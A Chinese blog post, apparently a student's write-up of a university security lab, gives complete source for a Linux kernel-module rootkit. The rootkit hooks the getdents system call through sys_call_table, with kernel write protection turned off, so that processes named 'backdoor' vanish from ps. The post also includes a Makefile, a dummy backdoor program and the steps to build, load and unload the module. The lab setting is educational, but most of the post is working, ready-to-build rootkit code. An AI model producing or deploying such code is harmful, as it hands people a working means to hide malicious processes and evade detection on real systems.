中科大软件学院信息安全实验3 rootkit

 题目来源Lab3: rootkit - 知乎

不涉及原理,只讲操作。ubuntu版本很重要,不同版本相同代码可能无法运行。

攻击者A:ip:192.168.244.130 (ubuntu20.04)

被攻击者B:ip:192.168.244.131(ubunutu16.04)

网关C:ip:192.168.244.2


主要参考博客lab3

B代码文件2个

rootkit.c

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/uaccess.h>
#include <linux/slab.h>
#include <linux/fs.h>
#include <linux/string.h>
#include <linux/syscalls.h>
#define KPROBE_LOOKUP 1
#include <linux/kprobes.h>
static struct kprobe kp = {
            .symbol_name = "kallsyms_lookup_name"
};
struct linux_dirent {
     unsigned long   d_ino;     /* Inode number */
     unsigned long   d_off;     /* Offset to next linux_dirent */
     unsigned short  d_reclen;  /* Length of this linux_dirent */
     char            d_name[1]; /* Filename (null-terminated) */
};
// 系统调用表
static unsigned long *sys_call_table;

// 纪录初始的orig_getdents
long (*orig_getdents)(unsigned int fd,struct linux_dirent __user *dirp,unsigned int count);

void disable_write_protection(void) {
    unsigned long cr0 = read_cr0();
    clear_bit(16, &cr0);
    write_cr0(cr0);
}

void enable_write_protection(void) {
    unsigned long cr0 = read_cr0();
    set_bit(16, &cr0);
    write_cr0(cr0);
}

//获取 PID 的长度
int get_pid_len(char *d_name) {
    int len = 0;
    char *p;
    for (p = d_name+strlen(d_name)-1; p >= d_name; p--) {
        if (*p >= '0' && *p <= '9')
            len++;
        else
            return -1;
    }
    return len;
}

//判断当前<dirent>是否需要过滤
int need_filter(char *d_name) {
    int isneed = 0, pidlen = 0;
    struct file *fp;
    mm_segment_t fs;
    loff_t pos;
    char *buf = NULL;
    char *fpath = NULL;
    char *proc = "/proc/";
    char *status = "/status";

    if ((pidlen = get_pid_len(d_name)) < 0)
        goto out;

    buf = (char *)kmalloc(64, GFP_KERNEL);
    fpath = (char *)kmalloc(pidlen+14, GFP_KERNEL);
    if (buf == NULL || fpath == NULL)
        goto out;

    // e.g: /proc/2842/status
    memmove(fpath, (char *)proc, 6);            // /proc/
    memmove(fpath+6, (char *)d_name, pidlen);   // /proc/2842
    memmove(fpath+6+pidlen, (char *)status, 7); // /proc/2842/status
    fpath[13+pidlen] = '\0';
    printk("pid = %s, pidlen = %d\n", d_name, pidlen);
    printk("fpath = %s\n", fpath);

    fp = filp_open(fpath, O_RDONLY, 0000);
    if (IS_ERR(fp)) {
        printk("file open error, file path: %s\n", fpath);
        goto out;
    }

    fs = get_fs();
    set_fs(KERNEL_DS); 
    pos = 0;
    vfs_read(fp, buf, 64, &pos);
    if (strstr(buf, "backdoor") != NULL) {
        isneed = 1;
        printk("read: \n%s\n", buf); // Name: backdoor
    }
    filp_close(fp, NULL);
    set_fs(fs); // 恢复fs
out:
    kfree(buf);
    kfree(fpath);
    return isneed;
}

//系统调用劫持函数,劫持ps,过滤掉名为 backdoor 的进程
asmlinkage long hack_getdents(unsigned int fd,struct linux_dirent __user *dirp,unsigned int count) {
    int number = 0, copylen = 0;
    struct linux_dirent *filtered_dirp, // 指向已完成过滤的<dirent>
                        *orig_dirp,     // 指向原始的<dirent>
                        *td1, *td2;     // 用于遍历、连接的临时指针
    if ((number = (*orig_getdents)(fd, dirp, count)) == 0)
        return 0;

    filtered_dirp = (struct linux_dirent *)kmalloc(number, GFP_KERNEL);
    td1 = filtered_dirp;
    orig_dirp = (struct linux_dirent *)kmalloc(number, GFP_KERNEL);
    td2 = orig_dirp;
    copy_from_user(orig_dirp, dirp, number);

    while (number > 0) {
        number -= td2->d_reclen;
        // 链表尾插法,忽略掉要过滤的内容,将要保留的<dirent>一个个的插到链表td1尾部
        if (!need_filter(td2->d_name)) {
            memmove(td1, (char *)td2, td2->d_reclen);
            td1 = (struct linux_dirent *)((char *)td1 + td2->d_reclen);
            copylen += td2->d_reclen;
        }
        td2 = (struct linux_dirent *)((char *)td2 + td2->d_reclen);
    }
    copy_to_user(dirp, filtered_dirp, copylen);
    kfree(orig_dirp);
    kfree(filtered_dirp);
    return copylen;
}

//获取 sys_call_table 的首地址
unsigned long *get_syscall_table_bf(void){
	unsigned long *syscall_table;
#ifdef KPROBE_LOOKUP
	printk("Defined KPROBE");
	typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
	kallsyms_lookup_name_t kallsyms_lookup_name;
	register_kprobe(&kp);
	kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
	unregister_kprobe(&kp);
#endif
	syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");
	printk("syscall_table found,0x%lx\n",syscall_table);
	return syscall_table;
}

static int filter_init(void) {
    printk("fitler_init\n");
    sys_call_table = get_syscall_table_bf();
    if (!sys_call_table) {
        printk("sys_call_table = NULL\n");
        return 0;
    }
    printk("sys_call_table = %lx\n",sys_call_table);
    orig_getdents = (void *)sys_call_table[__NR_getdents];
    printk("original system call getdents, the address is 0x%p\n", (unsigned long *)orig_getdents);
    disable_write_protection();
    sys_call_table[__NR_getdents] = (unsigned long *)&hack_getdents;
    enable_write_protection();
    printk("hacked system call getdents, the address is 0x%p\n", (unsigned long *)&hack_getdents);
    printk("modify sct success! sys_call_table[__NR_getdents] address is 0x%p\n", (unsigned long *)sys_call_table[__NR_getdents]);
    return 0;
}

static void filter_exit(void) {
    disable_write_protection();
    sys_call_table[__NR_getdents] = (unsigned long *)orig_getdents;
    enable_write_protection();
    printk("original system call getdents, the address is 0x%p\n", (unsigned long *)orig_getdents);
    printk("hack module removed! sys_call_table[__NR_getdents] address is 0x%p\n", (unsigned long *)sys_call_table[__NR_getdents]);
    printk("fitler_exit\n");
}

MODULE_LICENSE("GPL");
module_init(filter_init);
module_exit(filter_exit);

Makefile

obj-m += rootkit.o

all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

A代码文件1个

backdoor.c

void main(){
while(1){}
}

B执行sudo make -C /usr/src/linux-headers-4.15.0-112-generic M=~

(此处命令复杂参考报错汇总,根据自身情况变化,我当前在~目录下,所需要的代码文件也在该目录,所以M后面是~)

B上执行gcc backdoor.c -o backdoor编译backdoor.c程序

B后台运行backdoor

A用nc连接B后门程序(本实验不操作也行,要操作的话请全文参考上文博客(包括代码),本博客省略了这部分)

B执行ps

B载入内核模块rootkit.ko,然后执行ps

可以看到backdoor被隐藏起来了

B再移除内核模块rootkit,执行ps

backdoor又出现了,实验结束。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值